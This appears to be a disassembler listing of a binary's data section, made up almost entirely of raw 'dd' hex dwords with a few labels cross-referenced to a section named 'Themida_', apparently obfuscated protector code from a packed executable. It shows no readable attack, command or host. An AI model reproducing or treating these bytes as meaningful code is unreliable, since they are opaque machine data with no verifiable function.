		dd 0E96D5F35h, 0Dh, 9218DF5Ch, 0E19ED492h, 0D518B8D7h
		dd 43E97Ch, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 170424h, 51410000h, 2D359C3h, 699D8BC3h, 0F05E22Ah
		dd 3050DEBFh, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 0B3A5B141h, 56006ADCh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 20AEFBC5h
		dd 86646E9Ch, 14E8h, 0ABA8F600h, 0ED302F40h, 6F7AB4Dh
		dd 0CD8588A5h, 0D6586284h, 7D9D89E0h, 5B05E20Dh, 1B55BD83h
		dd 0F0305E2h, 48385h, 82BF5300h, 5F622F56h, 0BB9DBD83h
		dd 0F0005E5h, 46F84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 0B5FFDBE3h, 5E5BB9Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 8BC35040h
		dd 0B70F767Bh, 95FFF5FAh, 5E2172Dh, 8E9h, 5FCCA400h, 7567713Ah
		dd 91B58BECh, 6A05E5BBh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 50A1C352h, 0E85D579Ah
		dd 6, 1A41F9F9h, 5FF9ED7Fh, 106C7h, 6A0001h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0A6B58EC3h, 64CDE575h, 96F8B70Fh, 310F5250h,	5BFE8A53h
		dd 0E850585Ah, 5, 0FC026216h, 68A0F2Fh,	50000000h, 5A310F52h
		dd 8B965F58h, 0E20069BDh, 9DB5FF05h, 8905E5BBh,	0E20C218Dh
		dd 0D195FF05h, 6A05E22Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 9286C355h, 1BEBE2A0h
		dd 0E18D297Dh, 8B05E20Bh, 0E5BB91B5h, 53006A05h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 10E92D01h, 81000000h, 0EE814A2Dh, 0FDAD48E5h, 3DB6C30Fh
		dd 8B8E33DFh, 0E210DD85h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 9A49C411h
		dd 0F8D5ECA6h, 0C4868961h, 6A000000h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 9E9EC350h
		dd 14E8h, 2EB2B00h, 0E944FBEBh,	0E156C18h, 4E315B18h, 0ACF4A49Bh
		dd 459D8B58h, 5B05E21Bh, 0BE9958Bh, 8C0F05E2h, 5, 409711BFh
		dd 4C28327h, 68C0Fh, 85290000h,	5E21481h, 6A205089h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0E437C351h, 8E915EBh, 0B3000000h, 0AFCBA9C0h, 0BFD20702h
		dd 78F643Eh, 0CE5B858Dh, 6A05E5h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 8A6316C3h, 89C5891Eh
		dd 0B886h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 51E58183h, 85897AA4h, 5E21819h, 840F006Ah
		dd 6, 21F9BD31h, 0B5FF05E2h, 5E5BB9Dh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 62C35242h, 392C44D0h, 0F5BF957h
		dd 1889h, 13E900h, 936C0000h, 0B2A13AAFh, 2538AC54h, 119882D8h
		dd 773E1F58h, 0E995FFD2h, 8B05E214h, 0E22C09BDh, 52509605h
		dd 0D74705BBh, 66310F24h, 585ADA8Bh, 6E86050h, 0F6000000h
		dd 0FC5D38Ah, 0A3D6BE9Bh, 0E95B0CA6h, 8, 0AACDFB92h, 0CC2BC28Ch
		dd 0BF0F9661h, 9DB5FFFAh, 3105E5BBh, 0E205359Dh, 2195FF05h
		dd 8B05E22Dh, 89BD83FBh, 5E200h, 36840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0A19FAAC3h, 59E41Dh,	669602A5h, 50F22EBBh, 906E44BFh
		dd 0BD8B964Ch, 5E21101h, 0BB9DB5FFh, 0BD8905E5h, 5E21D1Dh
		dd 41595FFh, 6A05E2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 272C6AC3h, 89B7AC61h, 0E20AF59Dh
		dd 652BB05h, 0B5FF49C5h, 5E5BB9Dh, 6870Fh, 0BD890000h
		dd 5E22499h, 0A5995FFh,	35705E2h, 0E207419Dh, 0BD835B05h
		dd 5E224CDh, 84840F02h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 3C29C357h
		dd 0B53E6D6Ah, 0A19D2356h, 8B05E223h, 0E21F3585h, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 0F181D7F0h, 8A4C0ACEh, 0C6FCh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 8BC35343h, 2AB5BACDh, 0E1958B60h
		dd 905E208h, 0E21731BDh, 0C7F56105h, 0E20CF985h, 5, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 66F56BC2h, 0BA0CEF81h, 0FFF2EDE9h, 6840FFFh,	89000000h
		dd 0E21B3195h, 6AC18B05h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 4A3DC352h, 11E8h, 969FA900h
		dd 5EDEE245h, 6CCEBB2Ch, 0DDCCE273h, 8D5FA7ABh,	0E20E9185h
		dd 68B0F05h, 31000000h,	0E22CA18Dh, 8B669005h, 8B6050FEh
		dd 515250CEh, 66310F59h, 585ACE8Bh, 6A9061h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 8CC815C3h
		dd 6AB918h, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 19h,	44C35747h, 0F5F11601h, 919D23A7h, 6A05E21Eh, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0B5897EAAh, 5E22201h, 11E9h,	56912C00h, 0C2AAE3E8h
		dd 791D5429h, 335805BCh, 858DE111h, 5E6DE46h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 69C35141h, 97C560Dh
		dd 0E208A585h, 5C08305h, 64B5B1BFh, 11E89003h, 29000000h
		dd 9F761A8Eh, 158139Dh,	21EA1BA2h, 0FFB531B0h, 505FF4B7h
		dd 28A0Fh, 0FDB70000h, 56006A90h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 62880C82h, 2DFF0374h
		dd 6A006AA8h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 5528C352h, 0B7AEE87Bh,	89FE4EAAh
		dd 0E222D1BDh, 0FF006A05h, 0E21E2D95h, 11E905h,	0EAD90000h
		dd 6427F937h, 625378E9h, 538C51DDh, 8D0F6A56h, 0E59D808Dh
		dd 0BE805h, 4BAD0000h, 0A89146B2h, 524B0DFCh, 773BF6Ch
		dd 0FF5B33B6h, 56006AD1h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 0E76E71A3h, 64FC3159h
		dd 0AE96Ch, 93770000h, 8E0E008h, 0CF058D27h, 0B9BD83h
		dd 0F0105E2h, 6C85h, 0BB56FC00h, 1309A0F0h, 6A026A5Fh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0F831C352h, 0AFEA613Dh, 70A636EBh, 590FBF66h
		dd 24048950h, 433723BBh, 0E595895Dh, 0FF05E215h, 0E214E995h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 38751BA3h, 2CDF90F4h
aJse		db 'Jé…',0Dh,0          ; DATA XREF: Themida_:004EE55Co
					; Themida_:004F0334o ...
		align 2
aS_9		db 'è',0
		dd 5D000000h, 0DE50ED81h, 8D8905E6h, 5E20F9Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0ACC35242h, 72C27DF0h
		dd 0FA8A6D90h, 8E9E858Dh, 6A05E5h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 15EFA5C3h, 6654988Fh
		dd 0D435C781h, 0D88B6690h, 68E0F50h, 51000000h,	0BDFBF66h
		dd 6A905Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 1DA55C3h,	0E205D585h, 35FF6405h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0FAC35747h
		dd 8D6D5379h, 0A5BD89C3h, 6405E219h, 2589h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 583DD9C3h, 299D33FBh, 0FF05E20Eh, 0E2232985h, 51BD8B05h
		dd 6A05E209h, 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 5A0EB91h,	10E92EA4h, 0A8000000h
		dd 0D001F686h, 7628EDEDh, 2346A49Dh, 0FFE168DDh, 0E21DF1B5h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0BC8DBC41h, 7174A859h, 9D032C99h, 5E210ADh
		dd 189D95FFh, 16E905E2h, 0E9000001h, 0Bh, 7C550BADh, 2E4DEEF9h
		dd 0B04EA313h, 3170E600h, 0E219DD85h, 8971E405h, 0E211118Dh
		dd 0F613C05h, 0EC83h, 4890F00h,	66000000h, 0F3E3CBBh, 10E9C8B6h
		dd 0B1000000h, 3E5FB06Fh, 0FD57BAB7h, 3A03C121h, 0BA61685Dh
		dd 6, 7CF78166h, 0FEB70F65h, 6660C18Bh,	0A941CB81h, 13599D89h
		dd 0C16105E2h, 0B52904E8h, 5E21B91h, 8BE2F766h,	0E20AB59Dh
		dd 0FC82B05h, 48Ah, 53BF6600h, 81D18B5Bh, 0EE0F0ECFh, 83E94Fh
		dd 81660000h, 8BAA55E3h, 185h, 0C083FC00h, 7DBD8B07h, 8305E21Dh
		dd 0E95200C0h, 10h, 9933C0DDh, 7E2AD40Eh, 0A18719CCh, 6A6CD7F5h
		dd 0FD03B5Bh, 1D83h, 0DFBF0F00h, 44E9h,	0BE800h, 16250000h
		dd 569831BDh, 0F2F7B751h, 0DF8B6062h, 8D8B5B61h, 0FFFFFFFFh
		dd 323D9D29h, 0E18305E2h, 1A840F01h, 66000000h,	832CA2BFh
		dd 0FFFFFFA5h, 0DE8BFEFFh, 19589h, 0DD8A0000h, 0E9h, 62B58D00h
		dd 6A05E652h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 3572C355h, 0A465D20h, 0E545EB74h
		dd 9006AF5h, 0E21A759Dh, 95FFF905h, 5E20AB9h, 1729B529h
		dd 9B905E2h, 0E8000011h, 0Bh, 0B1C1BF6Fh, 9050F725h, 66EB7D3Bh
		dd 5BC1B7BBh, 21259589h, 0E18305E2h, 0B59D23FCh, 0FC05E21Ah
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 9BC35040h
		dd 3C9A3F40h, 0E7AFB9BFh, 0AE84Ch, 10130000h, 60924635h
		dd 8334FBFBh, 0ABF38166h, 0B85F59h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 5611C351h, 0D22B5FFCh, 57D9D2Bh, 33AD05E2h, 3E8D1C2h
		dd 4E983D0h, 9D8BF475h,	5E211C1h, 880Dh, 0EF8A6000h, 8142CB81h
		dd 8B617927h, 0E20BE995h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 63526033h
		dd 9D2BD526h, 5E21C9Dh,	7618D8Bh, 5E905E2h, 0BA000000h
		dd 846B33AAh, 500DDF80h, 188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 6B7C9FCFh, 0BB66789Fh, 8D292C46h
		dd 5E205D1h, 0D79BD83h,	0F0005E2h, 2784h, 81BD2300h, 0B805E22Ah
		dd 0
		dd 58A0F60h, 66000000h,	45CCD981h, 8D61F88Bh, 0E24C428Dh
		dd 0DF8B6605h, 0F8E1FFF5h, 1B55BD83h, 0F0005E2h, 47684h
		dd 7E900h, 3A250000h, 0F5CAA36Fh, 55BD8322h, 105E21Bh
		dd 478840Fh, 0BF660000h, 0BD8346F4h, 5E21B55h, 31860F03h
		dd 89000004h, 0E21B6D95h, 0B59D8B05h, 6005E215h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 82C35242h, 0F03831DDh
		dd 0FCF93E49h, 1BF1BD8Bh, 8D2905E2h, 5E20AFDh, 6AD98C66h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 6B20C351h, 6D0DEF81h, 0E1807BCEh,	55006A04h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 7CD8FF88h, 203C3F12h, 0BF66FB8Bh, 0C90A9F6Fh, 15C840Fh
		dd 8BF90000h, 0E2241D85h, 34BF6605h, 9D8D8998h,	3305E20Ah
		dd 0E22AA985h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 0BD443FAAh, 0DB8166E7h
		dd 0BF90FF28h, 5756781Ch, 23BB6650h, 6A90BDh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 1DDF07C3h
		dd 0F8B70F02h, 6A006Ah,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 37AE68C3h, 8B6654DDh, 2AEF68DEh
		dd 0EE804F1h, 59000000h, 0D3F618C3h, 0CF9B07B1h, 0D90F7367h
		dd 188E0FFBh, 0E8000000h, 12h, 9E127515h, 1C718157h, 68E6399Eh
		dd 0FE932D80h, 5B5F8C49h, 10243481h, 6A04EE29h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 71D4C355h, 0D98B09F9h, 68F0Fh, 0B5890000h, 5E2044Dh
		dd 83995FFh, 6A05E2h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 58150EC3h, 0BD8B2463h, 5E201A5h
		dd 0BB9D8589h, 0BF0F05E5h, 519509FAh, 0E905E213h, 202h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 53C35646h
		dd 489DB260h, 858BD775h, 5E5BB95h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 0AFC35040h,	8B06B56Eh, 8981C545h
		dd 0E21551B5h, 1800C705h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 64D9C352h
		dd 0EE96Bh, 0A74F0000h,	50D2791Bh, 0C8BFA025h, 0E328D0D6h
		dd 0BB99B58Bh, 858B05E5h, 5E200F9h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 0E2C35040h,	8E5A4984h, 0E302B385h
		dd 7E884h, 56450000h, 668E7D84h, 1D9D8BB1h, 5B05E208h
		dd 880F0689h, 1, 1D858BF5h, 6A05E224h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0B379C353h
		dd 5DF92DB6h, 44689A5h,	525096F9h, 0FD98B66h, 0FE831h
		dd 69B30000h, 36156413h, 0DCE4A58h, 0DCE5FA75h,	5F5F5204h
		dd 0BB50585Ah, 5FD38A8h, 25BD8B96h, 0E805E20Bh,	0Dh, 4C705737h
		dd 51AD5439h, 3709F23Ch, 0FF5FF8CEh, 0E5BB95B5h, 57006A05h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0F241A19Bh, 2521BD8Bh, 696805E2h, 0E9D4E6E4h, 9, 0BE8BA185h
		dd 8678C61Ah, 24048146h, 2B381F96h, 89BD2960h, 8005E22Ch
		dd 0F61DCE4h, 858DF8BFh, 5E5BB9Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 6BC35343h, 1D449F67h, 0E68D781h
		dd 0B0BF5F89h, 500791AAh, 8A240489h, 3995FFF9h,	6A05E208h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 439AC352h, 0FF53CE2h, 981h, 3840F00h, 80000000h
		dd 8B6117DFh, 0E219119Dh, 5585C705h, 305E21Bh, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0FCEC351h, 18Ch, 0BD83F900h, 5E5BB9Dh, 1D840F00h
		dd 0E9000000h, 7, 74FD94Bh, 0E97AB819h,	27h, 6800Fh, 9D8B0000h
		dd 5E20A61h, 110C3050h,	1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 6AC08B00h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 6383C350h, 459362E1h, 8957A01Dh
		dd 0E221C195h, 6AFC5B05h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 301EC350h, 79134C62h
		dd 7860Fh, 8C0F0000h, 1, 55BD83F5h, 305E21Bh, 3D7850Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 59D852C3h, 0C874119Ch, 83DE5775h,	0E5BB9DBDh
		dd 840F0005h, 3A5h, 79D9D8Bh, 0BF0F05E2h, 9DB5FFF9h, 6A05E5BBh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 137C352h,	861AB07h, 119D896Eh, 0FF05E206h
		dd 0E2172D95h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 0BD8BD61Eh, 5E205A9h
		dd 0BB91B58Bh, 6A05E5h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 78DD73C3h, 106C7E7h, 6A000100h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 620FC350h, 276FFEC1h, 0E78166CAh,	0BF0F5D1Dh
		dd 8B6696FFh, 536050F8h, 850Fh,	615E0000h, 0DB816696h
		dd 0B5FF1901h, 5E5BB9Dh, 68E0Fh, 0E3810000h, 38354BA3h
		dd 2BD195FFh, 9DBF05E2h, 8B32A7F1h, 0E5BB91B5h,	51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0C8FFF853h, 8DEB8196h, 660D229Eh, 858BDE8Bh,	5E210DDh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0F4C35141h
		dd 45390FD3h, 82862C5Bh, 895FB786h, 0C486h, 79BD8B00h
		dd 8B05E222h, 0E20BE995h, 26C38105h, 83089ADAh,	9D0104C2h
		dd 5E22C55h, 89205089h,	0E231D595h, 5B858D05h, 8B05E5CEh
		dd 0E22109BDh, 0B8868905h, 60000000h, 191D858Bh, 0B58B05E2h
		dd 5E20785h, 6A006A61h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 61FEC351h, 0B5FF4065h
		dd 5E5BB9Dh, 95FFF88Bh,	5E214E9h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 12C35747h, 0F1923137h, 0F56C739h
		dd 186h, 505FF900h, 8D0F5250h, 2, 310F6160h, 3489585Ah
		dd 57006A24h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 286AC9Ah, 2AC99589h, 0B5FF05E2h,	5E5BB9Dh
		dd 0B0F38166h, 2195FFEDh, 8905E22Dh, 0E21E4985h, 8327B705h
		dd 0E20089BDh, 840F0005h, 2Ch, 6650E8B3h, 89BADABBh, 6A2434h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0BB5B64C3h, 5063EA1Ch, 0BB9DB5FFh, 6A05E5h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0E47CCAC3h, 95E868DEh, 13A99D89h, 95FF05E2h,	5E20415h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 77C35646h
		dd 11740817h, 41B3323Ch, 59BD898Ch, 8B05E226h, 0E22BCDBDh
		dd 9DB5FF05h, 6A05E5BBh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 0B8FC351h, 943E6A6Fh
		dd 609E8063h, 0CE8B6652h, 619BB558h, 0A5995FFh,	0DE905E2h
		dd 56000000h, 8F6D35F1h, 0DB81E1E0h, 0D0127FD9h, 24CDBD83h
		dd 0F0205E2h, 6884h, 0A850F00h,	0F000000h, 485h, 0DCBB6600h
		dd 35858B2Ch, 6A05E21Fh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0BD7C352h, 93237C17h
		dd 0BF002694h, 261B7B83h, 6A0000C6h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0E3B9C353h
		dd 29851FC5h, 0E22FC99Dh, 0F985C705h, 5E20Ch, 89000000h
		dd 0E20BF995h, 0F3D5E905h, 6AFFFFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 4DDFB7C3h
		dd 9CEFB695h, 8B30E2EFh, 50006AC1h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 53D2BA18h, 0A089139Ch
		dd 6E950h, 48D70000h, 31DBD9AFh, 0CDBD295Fh, 8D05E20Eh
		dd 0E20E9185h, 0F98B6605h, 11E990h, 0A5D0000h, 0CD1DBB9h
		dd 7F4C0E01h, 8F25392Fh, 507F0828h, 90F98B66h, 0CE9h, 8C0CC00h
		dd 41517807h, 7E70D902h, 6A006ABAh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0C65EC351h
		dd 3719E64h, 0BB6656EAh, 6A5B0A9Eh, 12E900h, 0D9CF0000h
		dd 1443343Bh, 29F122C4h, 2D186079h, 0E1925DBh, 1FF99D8Bh
		dd 858D05E2h, 5E6EE09h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 0F5C35040h, 0E8ECC34Dh, 7
dword_53C930	dd 7C46A794h, 0E9E21640h, 6, 0B36F0A03h, 835BF0ECh, 6A05C0h
					; DATA XREF: Themida_:004EF5A8o
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 7B4077C3h, 0D9A7FDD5h, 0F19D3160h, 0F05E218h, 82h, 50906100h
		dd 10E85250h, 4B000000h, 2F62A5A0h, 0DC20EE42h,	1CF71171h
		dd 0BBF48C64h, 4B4E9A02h, 0E8310F5Bh, 0Ch, 0DC642C61h
		dd 1A00A8D5h, 0C63317E8h, 5A5B6DB7h, 0F609058h,	688h, 498D8900h
		dd 0F805E21Bh, 60BB6661h, 0E9006A78h, 13h, 0F2AFBB7Bh
		dd 4141AECAh, 0E0FF212h, 0B8F71D32h, 298513B8h,	0E20ABDB5h
		dd 6A006A05h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 0E560C350h, 0A19D8BCAh, 6605E21Ah
		dd 0FFBC58BFh, 0E21E2D95h, 259D8B05h, 8D05E231h, 0E59D808Dh
		dd 0FFF2B305h, 52006AD1h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 0DC2D2B69h, 0B35497CCh
		dd 0A5137FBBh, 0B9BD8327h, 105E200h, 6A850Fh, 81660000h
		dd 6AB666D3h, 57006A02h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 4BDB2B4Fh, 9D298450h, 5E22CF9h, 25099D8Bh
		dd 0E99005E2h, 5, 12F810A0h, 6A905043h,	3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 3F0AC357h
		dd 8B668164h, 0E995FFFBh, 0F905E214h, 0D4CE9h
		db 0
byte_53CAC5	db 0E8h, 2 dup(0)	; DATA XREF: Themida_:004F0D38o
		dd 815D0000h, 0E6EE13EDh, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0F2F7B751h
		dd 10E962h, 0EE760000h,	9B0E9CCh, 0CDDE0305h, 95E9AB4Fh
		dd 0BD33A4AAh, 5E21929h, 30819D89h, 858D05E2h, 5E58E9Eh
		dd 404EF0BBh, 880F506Bh, 2, 4892EB3h, 52006A24h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 2038018Eh, 51D0806h,	259D89DFh, 6405E223h, 35FFh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		db 0C3h, 0C2h
word_53CB76	dw 0C087h		; DATA XREF: Themida_:004EF16Co
		dd 0BD8BF93Dh, 5E22691h, 10C59D29h, 896405E2h, 25h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 1D9D8B0Ch, 0FF05E21Eh, 0E2232985h, 53006A05h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 0D50A814Eh, 0CF8156F6h, 0AED6032h, 0B5FFFF6Ah, 5E23045h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 64C35040h
		dd 0FFDF8B8Bh, 0E2189D95h, 13EE905h, 5E90000h, 7D000000h
		dd 1E022442h, 70E600B0h, 10119D8Bh, 71E405E2h, 0FE8h, 2E4F8A00h
		dd 1B60F2FDh, 9DB97450h, 0D7F3A15Dh, 0C3C78166h, 613C5BD9h
		dd 106830Fh, 0B60F0000h, 0A6BB66C8h, 6BAEEh, 0BD8B0000h
		dd 5E20D45h, 1162CF81h,	0C18B5127h, 0EE8h, 0AE8DC600h
		dd 0BB311E82h, 0B787FF5Dh, 66F3D4DDh, 0C15BD98Bh, 8B0F04E8h
		dd 6, 2B15BD03h, 0F76605E2h, 12E9E2h, 5B300000h, 135865E9h
		dd 195FC125h, 0CE2C63A0h, 46F3DADFh, 9D31C82Bh,	5E200BDh
		dd 13918D89h, 0D18B05E2h, 0DA289EBBh, 92E94Fh, 8B660000h
		dd 4858BF9h, 8B000000h,	0B830FFAh, 0F000000h, 58Ch, 0CF816600h
		dd 0C0839158h, 4870F07h, 66000000h, 8329B7BBh, 816600C0h
		dd 3BCA49DFh, 23830FD0h, 0E8000000h, 0Ch, 6DB6F34Ah, 12C53CD2h
		dd 2BC0A5CEh, 4F5BD8Bh,	0E95F05E2h, 3Ch, 153DBD8Bh, 8D8B05E2h
		dd 0FFFFFFFFh, 0D0DBD8Bh, 0E18305E2h, 21840F01h, 8B000000h
		dd 0E214D5BDh, 0FFA58305h, 0FEFFFFFFh, 89D9B70Fh, 495h
		dd 46D38100h, 0E95999CBh, 0
		dd 636BB58Dh, 9D3305E6h, 5E231B1h, 0BD8B006Ah, 5E200BDh
		dd 0AB995FFh, 6A05E2h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 0F4BE5DC3h, 75D697CEh, 0CE9h, 902F2000h
		dd 482C4580h, 0D4FC016Ah, 0FF1B9D0h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0E14DF3C3h
		dd 3EAD5B24h, 0E98D3EF5h, 8, 3349BFA7h,	0D08BD3B0h, 1F058509h
		dd 0E18305E2h, 52006AFCh, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0BF6409Ch, 9D0DE604h
		dd 12E849h, 0FB4D0000h,	0F35B2256h, 3F1E08F1h, 927C5828h
		dd 17F7426Eh, 24058529h, 0FC5B05E2h, 69D6C381h,	0B83B20h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0B1E3C352h, 602B8637h,	6A591EDAh
		dd 1B318D89h, 0D22B05E2h, 0E856006Ah, 3, 5EC35E20h, 4247489h
